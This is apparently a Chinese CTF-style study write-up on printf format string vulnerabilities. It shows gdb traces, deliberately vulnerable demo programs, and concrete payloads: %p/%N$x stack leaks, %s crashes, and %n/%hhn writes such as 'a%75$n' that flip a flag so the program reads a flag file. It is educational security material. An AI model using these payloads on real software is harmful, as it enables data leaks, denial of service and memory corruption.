介绍 首先来看printf,这是常用的格式化字符串函数,以下是常见用法,能利用%s,%d等来替换不同的值
1 2 3 4 printf ("Hello!\n" );printf ("Hello %s!\n" , name);printf ("There are %d lights!" , 5 );printf ("The average of %d, %d, and %d is %f" , 1 , 2 , 3 , float (1 +2 +3 )/3.0 );
但是printf是怎么知道有多少个值的?
格式化字符串决定了printf打印的参数类型,那么这些参数在哪里?
比如给定了许多%s,但没有指定参数传递,printf如何打印?
来看看会调用printf时的汇编代码
1 2 3 4 5 6 7 8 9 10 11 12 13 #include <stdio.h> int main (int argc,char ** argv) { int a=1 ; int b=2 ; int c=3 ; int d=4 ; int e=5 ; int f=6 ; int g=7 ; printf ("%d %d %d %d %d %d %d\n" ,a,b,c,d,e,f,g); return 0 ; }
启用gdb,看printf是怎么调用函数的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 For help, type "help" . Type "apropos word" to search for commands related to "word" ... pwndbg: loaded 161 pwndbg commands and 47 shell commands. Type pwndbg [--shell | --all] [filter] for a list. pwndbg: created $rebase, $base, $ida GDB functions (can be used with print/break ) Reading symbols from ./do ... (No debugging symbols found in ./do ) ------- tip of the day (disable with set show-tips off) ------- Use Pwndbg's config and theme commands to tune its configuration and theme colors! pwndbg> disass main Dump of assembler code for function main: 0x0000000000001139 <+0 >: push rbp 0x000000000000113a <+1 >: mov rbp,rsp 0x000000000000113d <+4 >: sub rsp,0x30 0x0000000000001141 <+8 >: mov DWORD PTR [rbp-0x24 ],edi 0x0000000000001144 <+11 >: mov QWORD PTR [rbp-0x30 ],rsi 0x0000000000001148 <+15 >: mov DWORD PTR [rbp-0x4 ],0x1 0x000000000000114f <+22 >: mov DWORD PTR [rbp-0x8 ],0x2 0x0000000000001156 <+29 >: mov DWORD PTR [rbp-0xc ],0x3 0x000000000000115d <+36 >: mov DWORD PTR [rbp-0x10 ],0x4 0x0000000000001164 <+43 >: mov DWORD PTR [rbp-0x14 ],0x5 0x000000000000116b <+50 >: mov DWORD PTR [rbp-0x18 ],0x6 0x0000000000001172 <+57 >: mov DWORD PTR [rbp-0x1c ],0x7 0x0000000000001179 <+64 >: mov r8d,DWORD PTR [rbp-0x14 ] 0x000000000000117d <+68 >: mov edi,DWORD PTR [rbp-0x10 ] 0x0000000000001180 <+71 >: mov ecx,DWORD PTR [rbp-0xc ] 0x0000000000001183 <+74 >: mov edx,DWORD PTR [rbp-0x8 ] 0x0000000000001186 <+77 >: mov eax,DWORD PTR [rbp-0x4 ] 0x0000000000001189 <+80 >: mov esi,DWORD PTR [rbp-0x1c ] 0x000000000000118c <+83 >: push rsi 0x000000000000118d <+84 >: mov esi,DWORD PTR [rbp-0x18 ] 0x0000000000001190 <+87 >: push rsi 0x0000000000001191 <+88 >: mov r9d,r8d 0x0000000000001194 <+91 >: mov r8d,edi 0x0000000000001197 <+94 >: mov esi,eax 0x0000000000001199 <+96 >: lea rax,[rip+0xe64 ] # 0x2004 0x00000000000011a0 <+103 >: mov rdi,rax 0x00000000000011a3 <+106 >: mov eax,0x0 0x00000000000011a8 <+111 >: call 0x1030 <printf@plt> 0x00000000000011ad <+116 >: add rsp,0x10 0x00000000000011b1 <+120 >: mov eax,0x0 0x00000000000011b6 <+125 >: leave 0x00000000000011b7 <+126 >: ret End of assembler dump. pwndbg>
在<111>处调用了printf
在此处下断点 b *main +111
1 2 3 pwndbg> b *main+111 Breakpoint 1 at 0x11a8 pwndbg> r
运行后看现在的寄存器里有什么
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 pwndbg> info reg rax 0x0 0 rbx 0x7fffffffdf28 140737488346920 rcx 0x3 3 rdx 0x2 2 rsi 0x1 1 rdi 0x555555556004 93824992239620 rbp 0x7fffffffde10 0x7fffffffde10 rsp 0x7fffffffddd0 0x7fffffffddd0 r8 0x4 4 r9 0x5 5 r10 0x7fffffffdb40 140737488345920 r11 0x206 518 r12 0x0 0 r13 0x7fffffffdf38 140737488346936 r14 0x7ffff7ffd000 140737354125312 r15 0x555555557dd8 93824992247256 rip 0x5555555551a8 0x5555555551a8 <main+111 > eflags 0x202 [ IF ] cs 0x33 51 ss 0x2b 43 ds 0x0 0 es 0x0 0 fs 0x0 0 gs 0x0 0 pwndbg>
对于寄存器的一些解释:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 rax (0x0 ): 通常用作返回值寄存器。值为 0 表示前一个函数调用返回了 0 (通常表示成功,或者是布尔类型的 false )。 rbx (0x7fffffffdf28 ): rbx 通常是一个保存寄存器,它的值为 140737488346920 (内存地址),说明它保存了某个值或指向某个数据。 rcx (0x3 ): rcx 经常在某些函数调用约定中用于传递参数。当前值为 3 ,表明它可能作为一个函数的第三个参数或计数值。 rdx (0x2 ): rdx 通常用于传递第二个函数参数,当前值为 2 ,表明这个值可能被用作函数调用中的某个参数。 rsi (0x1 ): rsi 通常是传递第一个函数参数。当前值为 1 ,很可能是某个函数的标志参数或索引。 rdi (0x555555556004 ): rdi 经常传递第一个函数参数,当前值为 93824992239620 ,这是一个内存地址,可能指向函数的输入数据或结构体。 rbp (0x7fffffffde10 ): rbp 是基址指针,通常用于指向栈帧的基址。当前值指向栈帧顶部,表示函数的局部变量和参数保存在这一段内存区域中。 rsp (0x7fffffffddd0 ): rsp 是栈指针,表示当前栈的顶部。当前值 0x7fffffffddd0 小于 rbp,符合栈从高地址向低地址增长的特性。 r8 (0x4 ), r9 (0x5 ): 这些寄存器在某些调用约定下用于传递函数参数,值分别为 4 和 5 。 r10 (0x7fffffffdb40 ): 这是一个内存地址,可能用作系统调用的第三个参数或者是某个函数的额外参数。 r11 (0x206 ): 通常用作标志寄存器。当前值 0x206 可能与系统调用相关。 r12 (0x0 ): r12 是一个保存寄存器,当前值为 0 ,表示它可能还未被使用。 r13 (0x7fffffffdf38 ): 这是一个内存地址,通常保存了一个值或指向某个数据区域。 r14 (0x7ffff7ffd000 ): 这个地址位于共享库的区域(通常在高地址),可能是指向某个动态库的基地址。 r15 (0x555555557dd8 ): 这个地址位于程序的代码段或数据段,可能指向某个全局变量或静态数据。
rdi 里是格式化字符串
前面显示了12345,67呢
在这里
1 2 3 4 pwndbg> x/4 gx $rsp 0x7fffffffddd0 : 0x0000000000000006 0x0000000000000007 0x7fffffffdde0 : 0x00007fffffffdf28 0x0000000100000000 pwndbg>
数据依次排列而printf依次读取
格式化字符串漏洞的条件 用户能控制传递给printf的首个参数。格式化字符串函数可以接受可变数量的参数,并将第一个参数作为格式化字符串,根据其来解析之后的参数 。
1 2 3 4 int main (int argc, char **argv) { printf (argv[1 ]);}
格式化字符串在循环中是图灵完备的,以下这个项目基于运行在while循环中的printf,brainfuck
https://github.com/HexHive/printbf
其他格式化字符串函数
内存泄漏 可以使用的字符串
1 2 3 4 %c: read a char off the stack 泄露一个字节 %d, %i, %x: read an int (4 bytes) off the stack 以十进制整数形式泄露4字节 %x: read an int (4 bytes) in hex 以十六进制整数形式泄露4字节 %s: dereference a pointer and read out bytes until a null byte 解引用指针,并读取任意字节,直到遇到null字节,这些字节可能是可显或不可显
格式化字符串也能使用大小前缀,或叫大小修饰符
1 2 3 4 %x leaks 4 bytes %hx leaks 2 bytes %hhx leaks 1 byte %lx leaks 8 bytes
泄露栈地址 demo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 #include <stdio.h> #include <stdlib.h> #include <string.h> int main (int argc, char ** argv) { char fmt_str[256 ]; char *secret_value = "my secret value" ; strcpy (fmt_str, argv[1 ]); strcat (fmt_str, "\n" ); printf (fmt_str, 0xBEEF1337 ); return 0 ; }
运行
1 2 3 4 5 6 7 ┌──(pwn㉿kali)-[~/桌面] └─$ ./do "leak:%p" leak:0xbeef1337 ┌──(pwn㉿kali)-[~/桌面] └─$ ./do "leak:%p %p %p %P" leak:0xbeef1337 0x10 (nil) %P
那么如何获取到secret_value值呢,它在栈上,理论上来说只要一直%p就有机会读到一个像栈地址的值
使用$可以读取指定位置的参数
1 %7 $x - print the 7 th parameter (on the stack )
但是我这里是不行的
作者这里是能成功的
怀疑是不同版本安全策略的问题,栈地址到别的地方去了
一些小技巧总结
利用%x来获取对应栈的内存,但建议使用%p,可以不用考虑位数的区别。
利用%s来获取变量所对应地址的内容,只不过有零截断。
利用%order$x来获取指定参数的值,利用%order$s来获取指定参数对应地址的内容
拒绝服务 用户不能直接提供字符串,而是由他们的行为自动生成。可能导致printf错误解析数据,比如使用%s解析一个指针。
不需要计算出具体的位置,只需要输入一大堆%s,遇到无法解析的就可以使程序产生错误,这一利用,虽然攻击者本身似乎并不能控制程序,但是这样却可以造成程序不可用。比如说,如果远程服务有一个格式化字符串漏洞,那么我们就可以攻击其可用性,使服务崩溃,进而使得用户不能够访问。
内存覆盖(写入数据) %n会对传入的指针解引用,然后把已输出的字符串的字节数写到该地址,使用%n可以在输出的同时知道字符的长度
1 2 3 int namelength;printf ("%s%n" , name, &namelength);printf ("The name was %d bytes long!" , namelength);
demo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <unistd.h> #include <stdio.h> #include <stdlib.h> #include <string.h> int main (int argc, char ** argv) { char fmt_str[256 ]; char buf[256 ]; int *print_flag=malloc (sizeof (int )); *print_flag=0 ; char *secret_value = "my secret value" ; strcpy (fmt_str, argv[1 ]); strcat (fmt_str, "\n" ); printf (fmt_str, 0xBEEF1337 ); if (*print_flag){ int fd=open("/catflag" ,O_RDONLY); read(fd,buf,256 ); write(1 ,buf,256 ); } return 0 ; }
运行
1 2 3 ┌──(pwn㉿kali)-[~/桌面] └─$ ./do '%x' beef1337
使用gdb进行调试,在main下断点,然后运行
反编译main函数,找到 if(*print_flag)在哪开始比较
1 2 3 4 test eax, eax 进行的是按位与运算(AND 操作)。对于寄存器 eax,执行的是 eax & eax。 由于任何值与自身按位与的结果就是自身,所以这条指令的结果要么是非零值,要么是零: 如果 eax 中的值是 0 ,那么 eax & eax = 0 。 如果 eax 中的值不是 0 ,那么 eax & eax ≠ 0 。
这一段可能是在进行比较,后面有个je可以执行跳转
1 2 3 4 5 6 7 0x0000000000401216 <+144 >: call 0x401060 <printf @plt>0x000000000040121b <+149 >: mov rax,QWORD PTR [rbp-0x8 ]0x000000000040121f <+153 >: mov eax,DWORD PTR [rax]0x0000000000401221 <+155 >: test eax,eax0x0000000000401223 <+157 >: je 0x401273 <main+237 >0x0000000000401225 <+159 >: mov esi,0x0 0x000000000040122a <+164 >: lea rax,[rip+0xde3 ] # 0x402014
eax=rax rax=rbp-0x8
现在输出rbp-0x8 rsp和它们之间的距离
当printf向前查找参数时,步长为8字节(一个参数8字节)0x228 /0x8=69,第六个参数是第一个栈上的参数,69+6=75,我们可以认为从printf的角度看,print_flag是它的第75个参数
./do ‘a%75$n’ 可以把a的长度1输入到第75个参数位置上,这样就能达成读取文件的目的
输出了a和一些buf中未初始化的内容
其他方法
栈上保存的RBP指向前一个栈帧的RBP,能在字符串漏洞中利用,找到第一个保存的RBP,这里的ebp1的距离,ebp1指向一个地址,这里是ebp2,所以可以编写一个漏洞,写入数据到ebp1指向的地址既ebp2,然后就可以找到ebp2的距离(找写入值在第几个参数,再写入数据到ebp2指向的地址。
这样就可以通过ebp1将真正想要写入的地址写到ebp2,再通过ebp2写入数据到我们选定的地址。通过这样的方法,尽管有ASLR,我们还是能写
当格式化字符串的缓冲区在栈上时,我们可以控制格式化字符串缓冲区
在printf被调用时,发生了什么
格式化字符串下会有一个栈帧(不是紧挨着),这意味着应该能找到从RSP到格式化字符串缓冲区的偏移量,
%n只能写入4字节,但如果想写入更多字节呢
1 2 3 %ln 8b ytes %hn 2b ytes %hhn 1b ytes
可以利用printf的另一个特性——填充 参考printf的man page,命令为:man 3 printf
这里提供了一个比较大的填充,所以会在16进制数前输出大量空白字符,这些都会输出到标准输出。printf的第二个替换符是%1$n,这里表示引用第一个参数既buf,但因为后面有个n,这个替换符将把已输出的字节长度写入buf,
1 2 3 4 5 6 7 8 9 10 11 #include <stdio.h> #include <unistd.h> int main (int argc,char **argv) {char buf[4 ];printf ("%1145258561x%1$n" , buf);printf ("\n\n\n" );write(1 ,buf,4 ); return 0 ; }
数据关系如下:
1 2 HEX 4443 4241 DEC 1 ,145 ,258 ,561
按小端序写入 buf
后,就是41,42,43,44,分别对应ABCD,最终write(1, buf, 4) 输出这 4 个字节
但这个非常耗时间,填充了1,145,258,561,这还只是4字节,如果要写入一个8字节地址更费时间
这个方法不需要输入太多填充空白字节
1 2 char buf[4 ];printf ("%65x%1$hhn%c%2$hhn%c%3$hhn%c%4$hhn" , buf, buf+1 , buf+2 , buf+3 );
逐步分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 %65 x: 输出 65 个字符(通常是空格),使得当前已经输出的字符数为 65 。 %1 $hhn: %n 占位符会将目前输出的字符数写入指定的内存地址。 %1 $hhn 这里表示将**已经输出的字符数(65 )**的低 8 位写入 buf[0 ](即 buf 的第一个字节)。 结果是 buf[0 ] 将存储值 65 ,即字符 'A' (ASCII 码 65 )。 %c: 这是一个普通字符输出占位符,用于将参数中的字符输出到终端。 第一个 %c 对应 buf+1 ,buf+1 的初始值未定义,因此输出的字符是不确定的。 %2 $hhn: 将**当前输出的字符数(66 )**写入 buf[1 ](第二个字节)。 结果是 buf[1 ] 将存储值 66 ,即字符 'B' (ASCII 码 66 )。 %c: 输出 buf+2 的值,未定义,输出的字符不确定。 %3 $hhn: 将**当前输出的字符数(67 )**写入 buf[2 ](第三个字节)。 结果是 buf[2 ] 将存储值 67 ,即字符 'C' (ASCII 码 67 )。 %c: 输出 buf+3 的值,未定义,输出的字符不确定。 %4 $hhn: 将**当前输出的字符数(68 )**写入 buf[3 ](第四个字节)。 结果是 buf[3 ] 将存储值 68 ,即字符 'D' (ASCII 码 68 )。
需要注意的是,ABCD是递增的,这样构造格式化字符串相对简单,但如果是要写DCBA这种递减的值呢
动态填充大小用*指定,它能让你不再依靠硬编码指定填充长度,你可以在另一个参数中指定填充长度,
%*10$c
会把第十个参数当作一个数字,表示需要在c前填充的空白字节长度
11$n
会将已输出的字节数写入到给定地址,这会把这个计数写到第十一个参数指定的地址。这直接能拷贝内存了(10th的值拷到了11th的地址处)
假设第 10 个参数的值为 100,第 11 个参数指向一个重要的内存地址,比如栈上保存的返回地址或者全局变量的地址。那么这条指令会在输出了 100 个字符之后,将字符数(比如 100)写入第 11 个参数指向的内存地址,这可能导致程序行为异常或者被攻击者控制
但这个用法不太实际,这里不好一次只写一个字节,如果尝试使用这种技术复制整个地址,会输出大量内容。
参考资料 https://ciphersaw.me/ctf-wiki/pwn/linux/fmtstr/fmtstr_exploit/
https://pwn.college/software-exploitation/format-string-exploits/